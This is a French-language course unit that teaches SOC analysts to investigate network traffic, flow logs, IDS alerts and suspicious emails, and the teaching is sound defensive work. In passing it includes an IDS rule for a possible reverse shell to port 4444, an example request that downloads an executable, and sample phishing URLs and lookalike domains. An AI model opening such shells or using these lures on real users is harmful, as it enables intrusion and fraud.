Analyse de l’activité réseau, des courriels et des terminaux

Apprends à déterminer si une activité sur un réseau ou un ordinateur est malveillante, comme le fait un analyste de centre opérationnel de sécurité (SOC). Tu lis des captures de paquets et des enregistrements de flux, retraces le parcours de courriels suspects à l’aide de leurs en-têtes et des résultats SPF, DKIM et DMARC, suis les arbres des processus et les mécanismes de persistance sur les terminaux avec l’EDR, et vérifies les fichiers, empreintes, domaines et adresses IP à l’aide de services de réputation, de l’analyse statique et de bacs à sable. Enfin, tu rassembles les éléments de preuve dans une chronologie, formules une conclusion assortie d’un niveau de confiance et la consignes pour permettre aux équipes de réponse aux incidents d’agir.

IntermédiaireUnité 3 sur 7 de la formation Formation : Analyste SOC : SIEM, réponse aux incidents et vulnérabilités

Ce que tu vas apprendre

  1. Capture le trafic adapté, lis les paquets et les échanges, résume l’activité à l’aide des enregistrements de flux et des journaux de connexion, et reconnais les schémas réseau qui indiquent un balayage, du trafic de commande et contrôle, un tunnel ou un vol de données.
    • Capture et filtre le trafic réseau
      Choisis où et comment capturer les paquets, écris des filtres de capture et d’affichage, et manipule les fichiers de capture de façon à préserver leur intégralité et leur fiabilité.
    • Lis les paquets et reconstitue les échanges
      Lis les couches d’un paquet, suis les échanges TCP et UDP, récupère les éléments transférés et évalue le trafic chiffré à partir de ses métadonnées.
    • Analyse les données de flux et les journaux de connexion
      Utilise les enregistrements de flux et les journaux de connexion Zeek pour voir qui a communiqué avec qui, pendant combien de temps et en quelle quantité, et pour repérer les volumes et destinations inhabituels.
    • Reconnais les indicateurs dans les données réseau et lis les alertes des systèmes de détection d’intrusion
      Reconnais les balayages, les équipements non autorisés, les ports inattendus, le beaconing, les usages abusifs du DNS et les déplacements latéraux, et vérifie les alertes de détection d’intrusion au lieu de leur faire aveuglément confiance.
  2. Lis les en-têtes des courriels et les résultats d’authentification, reconnais l’hameçonnage et la fraude au courriel professionnel, analyse les liens et les pièces jointes sans t’exposer et retrouve tous les destinataires touchés par une campagne.
    • Lis les en-têtes des courriels et les résultats d’authentification
      Retrace le parcours d’un message à l’aide de ses en-têtes et interprète les résultats SPF, DKIM et DMARC, notamment ce qu’ils prouvent et ne prouvent pas.
    • Reconnais l’hameçonnage et la fraude au courriel professionnel
      Reconnais les techniques utilisées dans l’hameçonnage pour tromper sur l’expéditeur, les liens, le contenu et les pièces jointes, ainsi que les fraudes au paiement par courriel professionnel qui ne contiennent aucun logiciel malveillant.
    • Analyse les liens et les pièces jointes en sécurité et détermine le périmètre de la campagne
      Manipule les messages suspects sans t’exposer, décode et vérifie leurs liens et fichiers, extrais les indicateurs et retrouve toutes les personnes touchées par la campagne.
  3. Utilise les outils de détection et réponse sur les terminaux et leurs journaux pour lire les arbres des processus et les lignes de commande, trouver les moyens par lesquels les attaquants conservent leur accès et reconnaître les modifications des fichiers, des logiciels et de la configuration qui révèlent la compromission d’un hôte.
    • Utilise l’EDR et la télémétrie des terminaux
      Explique les rôles de l’EDR, du XDR et du MDM, connais les événements importants sur les terminaux et utilise les alertes, les pivots d’investigation et les actions de réponse de l’EDR lors d’une investigation.
    • Analyse les processus et les lignes de commande
      Évalue les processus selon leur nom, leur chemin, leur parent, leur signataire et leur ligne de commande, reconnais les LOLBins et le PowerShell encodé, et décode ce que fait réellement une commande suspecte.
    • Repère les mécanismes de persistance
      Repère les emplacements de démarrage automatique utilisés par les attaquants sous Windows, Linux et macOS, lis les traces laissées par chacun et compare-les méthodiquement à un état connu comme sain.
    • Repère les modifications des fichiers, des logiciels et de la configuration d’un hôte
      Reconnais les indicateurs sur l’hôte au-delà des processus : fichiers suspects, logiciels non autorisés, paramètres affaiblis, utilisation anormale des ressources et données préparées en vue d’un vol.
  4. Vérifie la réputation des fichiers, des domaines et des adresses IP, examine un fichier en sécurité sans l’exécuter et utilise un bac à sable pour observer son comportement, en connaissant les limites de chaque méthode.
    • Vérifie la réputation des fichiers, des empreintes, des domaines et des adresses IP
      Utilise correctement les empreintes et les services de réputation, lis leurs résultats de manière critique et protège les données confidentielles pendant cette opération.
    • Effectue une analyse statique élémentaire
      Examine un fichier suspect sans l’exécuter : identifie son type réel, extrais les chaînes de caractères, lis la structure de base d’un programme Windows, reconnais la compression, décode le contenu obfusqué et recherche les correspondances avec des règles YARA.
    • Effectue et interprète une analyse en bac à sable
      Fais détoner un échantillon en sécurité, lis le rapport comportemental, reconnais l’évasion et transforme les résultats en indicateurs que tu peux vérifier dans ton propre environnement.
  5. Rassemble les éléments de preuve du réseau, des courriels et des terminaux dans une chronologie, détermine si l’activité est malveillante en indiquant un niveau de confiance, puis consigne et transmets les résultats pour que d’autres puissent agir.
    • Mets en corrélation les éléments de preuve pour établir une chronologie
      Normalise les heures, passe d’une source à l’autre à l’aide des champs communs et établis une chronologie qui explique le déroulement d’une attaque et indique où des preuves manquent encore.
    • Formule une conclusion et consigne les résultats
      Classe une alerte ou un événement avec un niveau de confiance justifié, consigne les résultats et les indicateurs pour que d’autres puissent les reproduire, et transmets les incidents confirmés en préservant les preuves.

Analyse de l’activité réseau : cours

5 chapitres

1

Analyse le trafic réseau à partir des captures de paquets et des données de flux

Les paquets montrent des échanges individuels ; les enregistrements de flux révèlent des schémas sur une période plus longue. Tu choisiras un point de capture, filtreras le trafic, reconstitueras les échanges et mesureras les connexions inhabituelles. Les balayages, les contacts périodiques et les schémas DNS deviennent des pistes utiles lorsque tu les rapproches des rôles des hôtes et de l’activité attendue. La même analyse te permet aussi de vérifier ce qui a réellement déclenché une règle de détection d’intrusion.

1.1 Capture et filtre le trafic réseau

Une capture de paquets enregistre les en-têtes et la charge utile qui parviennent à un capteur dans un fichier .pcap ou .pcapng. Elle peut montrer le contenu des échanges non chiffrés, ainsi que les adresses, les ports et les horaires. Collecte-la et stocke-la conformément à la politique de surveillance de l’organisation : une capture peut contenir des mots de passe et des données personnelles.

Choisis un point de capture utile

Un TAP réseau copie passivement le trafic d’une liaison. Un port SPAN demande à un commutateur de mettre en miroir les ports ou VLAN sélectionnés. SPAN peut perdre des copies lorsque sa sortie est surchargée ; un TAP qui agrège les deux sens peut aussi perdre des paquets si leur volume cumulé dépasse la capacité du port de surveillance. Une capture sur un hôte voit le trafic de cet hôte. Un capteur à la frontière avec Internet manque le trafic qui reste à l’intérieur du réseau. À l’extérieur du NAT, il voit une adresse publique partagée : conserve donc les enregistrements NAT pour identifier l’hôte interne.

Enregistre largement, examine de façon ciblée

Un filtre de capture détermine ce qui est enregistré. Un filtre d’affichage modifie la vue des paquets déjà enregistrés. Leurs syntaxes diffèrent :

ObjectifFiltre pour le trafic TCP d’un hôte sur le port 443
Capture, syntaxe BPFhost 192.168.1.50 and tcp port 443
Affichage Wiresharkip.addr == 192.168.1.50 && tcp.port == 443

En BPF, port 443 inclut aussi UDP, dont QUIC. Un filtre de capture restrictif peut écarter définitivement l’autre canal d’un attaquant. Un filtre d’affichage peut être retiré dès que l’investigation change de direction.

Pour une capture ciblée, utilise :

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i sélectionne l’interface ; -nn conserve les adresses et les ports sous forme numérique et évite les recherches de noms ; -s 0 conserve les paquets entiers ; -w écrit les paquets bruts. Le filtre exclut le port 22, par exemple la session SSH d’un analyste. Lis le trafic DNS enregistré avec tcpdump -nn -r case42.pcap port 53.

Dans Wireshark, dns affiche le trafic DNS et http.request les requêtes HTTP. Utilise tcp.flags.syn == 1 && tcp.flags.ack == 0 pour les tentatives initiales de connexion TCP, tls.handshake.type == 1 pour les messages TLS Client Hello et ip.dst == 10.0.0.0/8 pour les destinations de cette plage. frame contains "password" trouve ce texte dans les octets capturés. Combine les conditions avec &&, || et !.

Prévois la conservation et préserve les preuves

À 40 % d’utilisation, une liaison de 100 Mbit/s transporte 40 Mbit/s. En divisant par huit, on obtient 5 Mo/s ; sur 3 600 secondes, cela représente 18 000 Mo, soit 18 Go. Les tampons circulaires écrasent les captures les plus anciennes, tandis que les captures ciblées réduisent les besoins de stockage. Exporte les preuves utiles avant qu’un tampon ne les écrase.

TLS laisse visibles les adresses, les tailles, les horaires et les métadonnées disponibles de la négociation, mais cache le contenu applicatif, sauf si des clés de session ou un point d’inspection permettent d’y accéder. La visibilité du DNS et du nom de serveur dépend aussi des protocoles utilisés. Calcule l’empreinte SHA-256 de la capture originale, consigne l’interface et l’intervalle de capture, et analyse une copie. Vérifie la synchronisation des horloges et les statistiques de perte de paquets ; le compteur « dropped by kernel » de tcpdump révèle le trafic manqué par le système de capture.

Points clés

  • Le point de capture détermine le trafic visible et les identités d’hôtes qui nécessitent des enregistrements NAT.
  • Les filtres de capture écartent les paquets exclus ; les filtres d’affichage masquent seulement les paquets enregistrés.
  • Les filtres BPF et les filtres d’affichage Wireshark utilisent des syntaxes différentes.
  • Tiens compte des deux sens de la liaison, du volume de stockage et des pertes de paquets.
  • Préserve la capture originale, son empreinte SHA-256 et les horaires précis de capture.

1.2 Lis les paquets et reconstitue les échanges

Lis un paquet des informations externes d’acheminement jusqu’aux données applicatives. Sur Ethernet, Wireshark affiche les adresses MAC, puis les adresses IP et la durée de vie TTL, les ports TCP ou UDP et enfin DNS, HTTP, TLS ou un autre protocole applicatif. Le volet des détails permet d’ouvrir ces couches ; le volet des octets affiche leurs valeurs hexadécimales brutes.

Suis l’échange

TCP commence par SYN, SYN-ACK et ACK. Dans 10.0.0.23:51544 → 203.0.113.80:443 SYN, le port source élevé appartient au client. La réponse inverse les adresses et les ports. FIN demande une fermeture normale ; RST met fin brutalement à la connexion. Une réinitialisation en réponse à un SYN indique généralement un port fermé. L’absence de réponse peut résulter d’un filtrage, d’une perte ou d’un manque de visibilité : examine donc les paquets et l’emplacement de capture.

UDP n’a pas de négociation au niveau du transport. DNS utilise couramment UDP 53 et utilise aussi TCP 53, notamment pour les réponses volumineuses et les transferts de zone. Lis le type d’enregistrement demandé : A pour IPv4, AAAA pour IPv6, MX pour les serveurs de messagerie, TXT pour du texte et CNAME pour un alias. NXDOMAIN signifie que le nom demandé n’existe pas.

Une réponse DNS suivie d’une connexion à l’adresse IP qu’elle renvoie suggère un lien. Confirme le nom demandé à l’aide d’un en-tête HTTP Host, du SNI TLS visible, des enregistrements du proxy ou des données du terminal : plusieurs domaines peuvent partager cette adresse.

Reconstitue l’activité applicative

La fonction Suivre le flux TCP de Wireshark reconstitue un échange dans l’ordre et distingue les deux sens par des couleurs. Statistiques → Conversations classe les paires qui communiquent selon le nombre de paquets et d’octets ; Hiérarchie des protocoles montre la répartition des protocoles.

Supposons qu’un flux contienne :

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

La réponse est 200 OK, déclare application/octet-stream et commence par MZ. Ces octets suggèrent un exécutable Windows. Le chemin .php peut renvoyer n’importe quel contenu ; il ne correspond pas nécessairement au nom du fichier téléchargé. Vérifie le type, l’empreinte et la signature de l’objet exporté, puis relie la requête à son processus et à l’historique de la destination.

Les requêtes GET récupèrent du contenu ; les requêtes POST envoient un corps. Lis ensemble l’en-tête Host, le chemin, le User-Agent, l’état de la réponse et les tailles des corps. Des corps de requêtes POST volumineux et répétés vers une nouvelle destination méritent une investigation. Les codes 301 et 302 redirigent le client, tandis que 404 indique une ressource manquante.

Fichier → Exporter les objets → HTTP, ou l’équivalent pour SMB, permet de récupérer des objets transférés lorsque le contenu non chiffré nécessaire est présent. Garde les échantillons récupérés dans l’environnement d’analyse isolé et consigne leurs empreintes.

Interprète correctement le trafic chiffré

Un Client Hello expose normalement le SNI, le nom de serveur demandé, sauf s’il est protégé par Encrypted Client Hello. TLS 1.2 expose le certificat du serveur pendant la négociation ; TLS 1.3 le chiffre. Les empreintes JA3 et JA4 résument les caractéristiques du Client Hello et peuvent aider à regrouper des clients similaires. Un nouveau certificat, l’absence de SNI ou une empreinte partagée constitue une piste à examiner selon le contexte du processus et de la destination.

Le port 443 suggère HTTPS, mais ne permet pas d’établir le protocole. Examine l’échange réel ou utilise Décoder comme lorsqu’un analyseur a besoin d’aide pour reconnaître un protocole sur un port inhabituel.

Points clés

  • Identifie l’initiateur à partir de la négociation et suis le sens inverse de la réponse.
  • Relie les réponses DNS aux noms applicatifs avant d’attribuer une connexion à un domaine.
  • Reconstitue les flux et exporte les objets pour examiner ce qui a été transféré.
  • La visibilité du trafic TLS varie selon la version de TLS et l’utilisation d’Encrypted Client Hello.
  • Confirme les protocoles à partir de l’échange, sans te limiter au numéro de port.

1.3 Analyse les données de flux et les journaux de connexion

Les enregistrements de flux résument le trafic sans conserver sa charge utile. Ils permettent de rechercher facilement dans plusieurs semaines d’activité avant de récupérer une courte capture de paquets. Le quintuplet, ou tuple à 5 éléments, habituel comprend l’adresse IP source, l’adresse IP destination, le port source, le port destination et le protocole de transport. Les enregistrements contiennent aussi les horaires, les nombres observés et souvent les indicateurs TCP.

Comprends comment la source compte

NetFlow v5 possède un format IPv4 fixe ; NetFlow v9 utilise des modèles et prend en charge IPv6. IPFIX est la norme de l’IETF issue de cette approche par modèles. Les journaux de flux du cloud fournissent des synthèses réseau apparentées. sFlow échantillonne les paquets et ajoute des compteurs d’interface : ses observations doivent donc être extrapolées avec soin.

Avec un échantillonnage de 1 paquet sur 1 000, 1 200 paquets échantillonnés représentent environ 1,2 million de paquets. L’estimation décrit le volume ; une brève connexion peut ne laisser aucun paquet échantillonné. Un échantillon vide est un élément de preuve faible pour déterminer si une connexion particulière a eu lieu.

Les exportateurs enregistrent souvent chaque sens séparément et découpent les connexions longues lorsque les délais d’expiration des connexions actives sont atteints. Associe les enregistrements inverses en échangeant les deux adresses et les deux ports, tout en conservant le protocole. Regroupe ensuite les fragments appartenant à une même connexion. Additionne les octets séparément par sens et mesure le temps écoulé entre le premier début et la dernière fin. Additionner les durées d’enregistrements qui se chevauchent gonfle le temps.

Lis les enregistrements de connexion Zeek

Zeek produit des journaux structurés de connexion et de protocole. Dans conn.log, ts est l’heure de début et uid relie la connexion à des enregistrements comme http.log ou ssl.log. Les champs id.orig_h et id.orig_p désignent l’initiateur ; id.resp_h et id.resp_p désignent le répondant. L’initiateur a lancé l’échange et peut être un hôte externe. proto, service, duration, orig_bytes et resp_bytes décrivent le transport, l’application reconnue et l’activité.

État TCPInterprétation
S0Une tentative a été observée sans réponse.
REJLa cible a rejeté la tentative.
SFUne connexion a été établie et fermée normalement.
OTHDu trafic a été observé sans SYN, souvent parce que l’observation a commencé au milieu de l’échange.

Pour les tentatives sans réponse, Zeek peut indiquer zéro octet de charge utile alors que des paquets ont bien circulé. Les exportateurs de flux comptent généralement aussi les en-têtes IP : leurs nombres d’octets diffèrent donc. Lis le nombre de paquets et l’état en tenant compte de la définition documentée des champs d’octets.

Mesure un transfert sortant inhabituel

De 2 h 10 à 2 h 50 UTC, 10.0.0.23 envoie 2,4 Go à 198.51.100.7:443 et reçoit 12 Mo. Convertis 2,4 Go en 2 400 Mo : le volume sortant est 200 fois supérieur au volume entrant. Quarante minutes correspondent à 2 400 secondes : le débit sortant moyen est donc de 1 Mo/s, soit 8 Mbit/s.

Le débit ne constitue pas une conclusion. Compare le volume habituel de l’hôte, l’historique de ses destinations et son rôle. Une sauvegarde planifiée peut expliquer un transfert nocturne ; une nouvelle destination et un processus d’envoi non approuvé renforcent l’hypothèse d’un vol de données. Poursuis l’investigation dans l’EDR pour trouver le processus responsable, dans les données DNS ou du proxy pour le nom, et dans les paquets pour le contenu s’ils sont disponibles. Une référence de fonctionnement doit comparer des rôles similaires : un serveur de sauvegarde et le poste d’un réceptionniste ont des trafics normaux différents.

Points clés

  • Les données de flux décrivent les adresses, les horaires et les volumes, sans la charge utile applicative.
  • Les nombres issus d’un échantillonnage sont des estimations et peuvent manquer les événements courts.
  • Associe les deux sens, fusionne les fragments dus aux délais d’expiration et utilise l’intervalle de temps écoulé complet.
  • Utilise l’uid de Zeek pour relier les journaux de protocoles et conn_state pour interpréter les tentatives.
  • Interprète les compteurs d’octets selon la source qui les a produits.
  • Compare le trafic inhabituel au rôle de l’hôte, à la référence de fonctionnement et au processus responsable.

1.4 Reconnais les indicateurs dans les données réseau et lis les alertes des systèmes de détection d’intrusion

Les schémas réseau indiquent où mener une investigation. Un scanneur approuvé et un intrus peuvent créer des paquets très similaires.

Reconnais la forme du trafic

Un balayage vertical sonde de nombreux ports sur un même hôte. Un balayage horizontal sonde le même port sur de nombreux hôtes. Si 10.0.0.99 envoie des SYN vers 1 000 ports sur 10.0.0.5 en 12 secondes, le rythme est d’environ 83 tentatives par seconde. De nombreux enregistrements S0 ou REJ et quelques connexions réussies correspondent à un balayage. Vérifie l’inventaire des scanneurs et le calendrier autorisé.

Un équipement non autorisé est connecté sans autorisation. Compare les nouveaux baux DHCP et les adresses MAC à l’inventaire des actifs ; un préfixe fabricant inconnu, un point d’accès non autorisé ou un second serveur DHCP exige une investigation. Le NAC aide à contrôler quels équipements peuvent se connecter.

Évalue les services selon le rôle de l’hôte. SSH utilise généralement le port 22, SMTP le 25, DNS le 53, HTTP le 80, HTTPS le 443, SMB le 445, RDP le 3389 et WinRM les 5985/5986. Du trafic SMTP sortant directement d’un poste de travail peut indiquer un programme automatisé de diffusion de courriers indésirables. Des connexions SMB ou RDP d’un poste vers de nombreux autres peuvent indiquer un déplacement latéral. Vérifie quel service est réellement présent.

Distingue les minuteries de l’activité utilisateur

Des connexions à 10:00:00, 10:05:02, 10:09:59, 10:15:01 et 10:20:00 présentent des intervalles de 302, 297, 302 et 299 secondes. La moyenne est de 300 secondes et la dispersion est d’environ deux secondes. De petits échanges similaires à ces intervalles suggèrent une minuterie. Le beaconing est un contact répété avec un serveur C2 ; les agents de mise à jour utilisent aussi des minuteries. Trouve le processus initiateur et le rôle de la destination. Un logiciel malveillant peut ajouter de la gigue, par exemple ±20 %, si bien qu’un schéma moins régulier mérite aussi de l’attention.

Examine les usages abusifs du DNS

Un tunnel DNS place des données dans les noms des requêtes, souvent avec de longues parties encodées et de nombreux sous-domaines distincts. Une partie peut contenir au maximum 63 caractères ; un nom complet ordinaire sous forme textuelle est limité à 253 caractères. Des requêtes TXT ou NULL répétées et un volume élevé renforcent cette hypothèse. De nombreux noms d’apparence aléatoire qui renvoient NXDOMAIN suggèrent qu’un DGA essaie des noms jusqu’à ce que l’un d’eux soit résolu. Le DNS sur HTTPS externe peut aussi soustraire l’activité aux journaux DNS habituels de l’organisation.

Lis et vérifie une règle
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

L’en-tête indique qu’une alerte doit être déclenchée pour le trafic TCP allant du réseau interne vers le port externe 4444. La condition flow exige du trafic établi vers le serveur ; sid identifie la règle et rev sa révision. Le message évoque un possible interpréteur de commandes inversé, mais cette règle vérifie un schéma de connexion, pas les commandes d’un interpréteur.

Snort et Suricata comparent le trafic à des règles ; Zeek fournit principalement des journaux et des scripts comportementaux. Vérifie une alerte IDS à l’aide de ses paquets, de la plateforme de la cible et des changements sur le terminal après l’échange. Le mode détection observe des copies ; un IPS placé en ligne peut bloquer le trafic, si bien qu’une correspondance erronée peut perturber l’activité.

Points clés

  • Vérifie l’autorisation avant de traiter un schéma de balayage comme un incident.
  • Utilise l’inventaire des équipements et les rôles des hôtes pour identifier l’activité réseau inattendue.
  • Des horaires réguliers suggèrent une automatisation ; le contexte du processus et de la destination permet de distinguer une commande et un contrôle.
  • Examine ensemble les longues parties de noms DNS, les noms distincts, le volume de requêtes et les schémas NXDOMAIN.
  • Lis les conditions de la règle avant d’accepter le message d’alerte comme un constat.
  • Confirme une exploitation suspectée à l’aide des preuves provenant de la cible et du terminal.
2

Analyse les courriels suspects

Une investigation sur un courriel commence par le message original et se termine par les personnes et les appareils touchés. Tu retraceras les en-têtes fiables, distingueras les identités d’expéditeur derrière SPF, DKIM et DMARC, et examineras l’action demandée par le message. L’analyse des liens et des pièces jointes fournit ensuite les champs de recherche permettant de retrouver l’ensemble de la campagne, y compris les fraudes au paiement qui ne contiennent aucun fichier malveillant.

2.1 Lis les en-têtes des courriels et les résultats d’authentification

L’adresse visible par le lecteur et l’identité vérifiée pendant la remise du courriel sont des champs différents. Commence par le fichier .eml ou .msg original afin de conserver les en-têtes qu’une copie transférée peut remplacer. Un analyseur d’en-têtes peut organiser les éléments de preuve, mais tu dois toujours savoir quel serveur a produit chaque résultat.

Identifie les identités et les relais fiables

L’expéditeur de l’enveloppe SMTP sert aux messages de non-remise et apparaît dans Return-Path. L’en-tête From indique l’expéditeur visible. Reply-To détermine où vont les réponses et Message-ID aide à retrouver les enregistrements de messagerie associés. Un service de diffusion peut légitimement utiliser un domaine d’enveloppe différent du domaine visible de son client.

Chaque relais ajoute une ligne Received en tête. Lis la séquence du parcours de bas en haut, mais établis la confiance à partir des entrées de ta propre passerelle : un expéditeur peut falsifier les lignes situées sous la première entrée fiable. Un champ facultatif X-Mailer est lui aussi contrôlé par l’expéditeur. Utilise l’adresse IP expéditrice enregistrée par ton serveur de réception fiable.

Applique les trois vérifications
VérificationIdentité et résultat
SPFCompare l’adresse IP du serveur qui se connecte aux expéditeurs autorisés par le domaine de l’enveloppe.
DKIMVérifie la signature d’un domaine portant sur certains en-têtes et l’empreinte du corps.
DMARCExige une identité SPF ou DKIM ayant réussi la vérification et alignée sur le domaine From visible.

Un enregistrement SPF TXT comme v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autorise cette plage et les expéditeurs inclus. -all donne un échec aux autres expéditeurs ; ~all donne un échec souple. Les résultats peuvent aussi être neutral, none, temperror ou permerror. Le transfert fait souvent échouer SPF, car l’adresse IP du serveur de transfert n’est pas autorisée par le domaine de l’enveloppe d’origine.

Dans DKIM, d= indique le domaine signataire et s= sélectionne sa clé à l’adresse <selector>._domainkey.<domain>. Une signature valide signifie que les éléments signés sont restés inchangés. Le transfert peut la préserver, tandis qu’une réécriture du message peut l’invalider.

L’alignement DMARC souple accepte un même domaine organisationnel ; l’alignement strict exige une correspondance exacte des domaines. La politique TXT à l’adresse _dmarc.<domain> peut demander none, quarantine ou reject ; le destinataire décide du traitement. La RFC 9989 a remplacé l’ancienne norme DMARC en mai 2026, supprimé pct et introduit le mode de test t=y. Vérifie une politique avec nslookup -type=txt _dmarc.example.com.

Analyse un résultat d’authentification

Ta passerelle indique une réussite SPF pour mailer.example-billing.net, une réussite DKIM pour example-billing.net et un domaine From examp1e.com. Aucun des deux domaines ayant réussi n’est aligné sur le domaine visible : DMARC échoue donc. SPF et DKIM ont authentifié des identités différentes ; ils n’ont pas authentifié cette adresse visible.

Lis uniquement l’en-tête Authentication-Results ajouté par une passerelle fiable. Un domaine ressemblant appartenant à un attaquant et correctement configuré peut réussir les trois vérifications, tout comme une boîte aux lettres légitime compromise. Combine l’authentification avec l’historique de l’expéditeur, le contenu du message et l’analyse des liens. À l’inverse, vérifie si un transfert ou des modifications par une liste de diffusion expliquent un échec avant de conclure à une usurpation.

Points clés

  • Distingue l’expéditeur de l’enveloppe, le From visible et l’identité Reply-To.
  • Fais confiance aux lignes d’en-tête et aux résultats d’authentification produits par tes propres systèmes de réception.
  • SPF vérifie une adresse IP expéditrice ; DKIM vérifie le contenu signé ; DMARC vérifie l’alignement.
  • DMARC exige une méthode ayant réussi et alignée, pas deux réussites pour des domaines sans rapport.
  • L’authentification peut réussir pour des domaines appartenant à un attaquant ou des boîtes aux lettres compromises.

2.2 Reconnais l’hameçonnage et la fraude au courriel professionnel

L’hameçonnage cherche à transformer un message en action nuisible : divulguer des identifiants, envoyer de l’argent ou exécuter un fichier. L’indice le plus fort est souvent un écart par rapport au processus habituel du destinataire. Un attaquant peut facilement fournir un texte fluide et un nom familier.

Lis attentivement l’expéditeur et la destination

L’usurpation du nom affiché place un nom de confiance au-dessus d’une adresse sans rapport, comme "IT Service Desk" <it.desk.2291@freemail.example>. Le typosquattage modifie l’orthographe d’un domaine ; les domaines cousins ajoutent des mots rassurants. Les homoglyphes remplacent des caractères par des caractères similaires d’autres alphabets. Une première lettre cyrillique fait de аpple.com un domaine différent ; sa forme punycode est xn--pple-43d.com.

Le libellé visible d’un lien peut différer de sa cible réelle. Les raccourcisseurs et les redirections ouvertes masquent les destinations suivantes. Dans https://www.example.com@198.51.100.7/login, l’hôte est 198.51.100.7 ; la partie avant @ contient des informations utilisateur. Dans https://example.com.login-verify.net/, le domaine enregistré est login-verify.net. Lire les mots rassurants tout à gauche conduit à identifier à tort la personne qui contrôle la destination.

Reconnais l’action demandée

L’urgence, la prétendue autorité d’un dirigeant, les menaces de fermeture de compte, les cartes-cadeaux et les changements de coordonnées bancaires poussent tous le destinataire à contourner les vérifications établies. L’hameçonnage ciblé utilise des renseignements sur une cible précise ; la chasse à la baleine vise les dirigeants. Parmi les modes de diffusion apparentés figurent l’hameçonnage par SMS, par appel vocal et par code QR. Un code QR peut transférer un lien vers un téléphone, hors du filtrage des liens de courriels.

Les pièces jointes peuvent contenir des documents à macros, des pages de connexion HTML ou de la contrebande HTML, des archives protégées par mot de passe, des images disque, des raccourcis LNK ou des PDF contenant des liens. Les versions récentes d’Office bloquent par défaut les macros dans les fichiers signalés comme provenant d’Internet : les messages peuvent donc expliquer aux utilisateurs comment lever le blocage. Un mot de passe d’archive gêne l’inspection, même si certaines passerelles peuvent l’extraire du message et analyser le contenu.

Examine une fraude au paiement sans logiciel malveillant

La fraude au courriel professionnel, ou BEC, usurpe l’identité d’un collègue, d’un dirigeant ou d’un fournisseur pour obtenir de l’argent, une modification des coordonnées de paiement ou des informations sensibles. Elle peut utiliser une adresse ressemblante ou une véritable boîte aux lettres compromise. Elle ne contient souvent ni lien ni pièce jointe, laissant peu à examiner aux scanneurs. Un Reply-To modifié ou une nouvelle règle masquant les réponses constitue un élément de preuve complémentaire utile.

Dans un fil existant consacré à une facture, un fournisseur connu demande qu’un paiement de 48 000 € soit envoyé sur un nouveau compte bancaire. L’authentification réussit. La boîte aux lettres a été compromise et l’attaquant a utilisé le détournement de fil de discussion pour profiter de la confiance établie dans la conversation. Vérifie la demande à l’aide d’un numéro de téléphone déjà présent dans la fiche du fournisseur avant de modifier les coordonnées de paiement. Un numéro fourni dans le message fait partie de la demande non vérifiée.

Une adresse interne peut aussi être compromise ; inclus les destinataires et les réponses internes dans l’investigation sur le compte.

Points clés

  • Examine l’adresse réelle de l’expéditeur et l’hôte de l’URL, au-delà des noms visibles et du texte du lien.
  • Une pression pour contourner les vérifications habituelles de paiement ou de compte est un signe d’hameçonnage.
  • Une fraude au courriel professionnel peut utiliser une véritable boîte aux lettres et ne contenir ni lien ni pièce jointe.
  • Vérifie les nouvelles instructions de paiement auprès d’un contact obtenu indépendamment du message.

2.3 Analyse les liens et les pièces jointes en sécurité et détermine le périmètre de la campagne

Une investigation sur un hameçonnage a deux objectifs : comprendre le message et retrouver toutes les personnes qu’il a touchées. Une copie signalée est un point de départ. L’action effectuée par un destinataire détermine les preuves à rechercher ensuite sur son compte ou son hôte.

Préserve et examine le message

Exporte le message original avec ses en-têtes complets, puis copie les URL sous forme de texte pour les examiner dans un environnement d’analyse isolé. Consigne les indicateurs sous forme neutralisée, comme hxxps://login-verify[.]net/acct, afin d’éviter les clics accidentels dans les tickets. Préserve l’original intact à côté de la copie de travail.

Les passerelles de messagerie peuvent inclure une URL dans le paramètre d’une autre URL. L’encodage pour cent représente les caractères par un signe pour cent et deux chiffres hexadécimaux : %3A correspond à deux-points et %2F à une barre oblique. Décode une couche à la fois et examine le résultat avant d’en interpréter une autre.

Par exemple, le décodage URL de :

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

donne https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Le décodage Base64 de la valeur u donne jane@example.org. Le paramètre identifie le destinataire visé et peut personnaliser la fausse page. Les opérations URL Decode, From Base64 et Defang URL de CyberChef rendent visibles ces transformations distinctes.

Avant de soumettre une URL à un service public, retire les valeurs qui identifient la victime ; un résultat public ou une requête personnalisée peut révéler l’investigation à l’attaquant. Prévisualise les liens raccourcis à l’aide d’un service d’analyse approuvé. La visibilité et le comportement du service lors de la soumission comptent autant que l’URL elle-même.

Examine les fichiers et extrais les champs de recherche

Calcule l’empreinte SHA-256 d’une pièce jointe et recherche sa réputation avant de la téléverser. Vérifie son type à partir des premiers octets. Pour un fichier Office, olevba peut répertorier les macros et repérer les déclencheurs automatiques comme AutoOpen ou Document_Open, ainsi que les appels comme Shell. Utilise un bac à sable privé pour les contenus internes confidentiels.

Recueille l’adresse et le nom affiché de l’expéditeur, l’adresse IP dans l’entrée Received fiable, l’objet, le Message-ID, les hôtes et chemins des URL, ainsi que les noms et empreintes des pièces jointes. Garde les valeurs exactes dans les preuves ; utilise des copies neutralisées dans les notes. Un nom de fichier peut changer d’un message à l’autre, tandis qu’une empreinte identique relie des contenus de fichier identiques.

Détermine les destinataires et leurs interactions

Recherche dans les enregistrements de la passerelle et des boîtes aux lettres à l’aide de plusieurs de ces champs. Répertorie les destinataires, puis distingue la remise du message des interactions à l’aide des enregistrements DNS et du proxy, des connexions après visite du lien et des événements EDR relatifs à l’ouverture et à l’exécution des pièces jointes.

Une recherche peut trouver 40 messages remis, six personnes ayant visité le lien et deux comptes ayant connu des connexions réussies inhabituelles quelques minutes plus tard. Préserve les enregistrements, supprime les messages de la campagne et bloque l’URL ou le domaine malveillant dans le cadre du processus de réponse. Les deux comptes touchés nécessitent une réinitialisation des mots de passe et une révocation des sessions actives. Une simple liste de destinataires ne montrerait pas la différence entre exposition et compromission probable.

Clore le ticket parce que l’utilisateur à l’origine du signalement a supprimé le message laisse les autres destinataires sans examen. Consigne qui l’a reçu, qui a interagi, ce qui a suivi et quelles preuves manquent encore.

Points clés

